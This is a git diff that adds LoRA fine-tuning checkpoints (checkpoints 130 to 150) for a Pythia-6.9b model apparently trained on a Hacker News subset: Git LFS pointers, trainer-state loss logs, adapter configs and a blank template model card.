a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..573e543ebf8519244d08ffe60632b10dbbaae00c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1cb757bf64dc11f3c8cd2f18f3c1d43f38485ff187a13e2eed9cdb5db98a2695 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..17a3b819610679a8788bd5261fb19369470bfbe9 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:65548abb62d1a7b25cdf9d164b5507bad0f1c7fd57ead0a6abd473e4b0bc0abe +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..b60cc4cb8217ae694c7a8efef0eb0b676d897e83 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:602f503f7cd2e84c0b6719714b66d34e98b340f44b02ba8ffc44df096e786100 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..0dae8e46aca4beacf0c154c37d71abe175363a25 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:abdc7730bfbf0869132cbbd456c580122a20a540399e30640d4e51daf6f379d3 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..92d7185cfa0cc6ad6c544a99f4b6a071899ffc97 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/trainer_state.json @@ -0,0 +1,228 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 1.7333333333333334, + "eval_steps": 10, + "global_step": 130, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 2.13018935820288e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..b36e701f426466ca3add2665fbcd013fd0d30898 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f6dc228238b6dfea2b7f801bdadb19b4105c1b065049d07fdda8eb8161cfb9e8 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..447e3d5ccd588eaee9d0515fbe3dab84d70a4d0d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:59776dbd92801b04c8864e52335f18d97cd1d742f2029ed3b4720ccd989c19da +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..d05f19f3c7e1e4b728f62f56852d18785b6ab4d0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:03c218af617af689aa7eff2d02ae91fb859e96fcb9571b641c5e95247f137dda +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..b77086a6cbb29f3cd0e1ac947f6c71c390b2dff3 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:21a6935970b037ba9fc4b9dc75dbda421fb162f0fa5b7d5502a5e9660c005897 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..8ccdb998e6ccbdab4e5946d03fd07f4b7e8653f7 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/trainer_state.json @@ -0,0 +1,243 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 1.8666666666666667, + "eval_steps": 10, + "global_step": 140, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 2.29405007806464e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-150/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..76b06a083408c0b677ac401372e7b498a15c042c --- /dev/null +++ 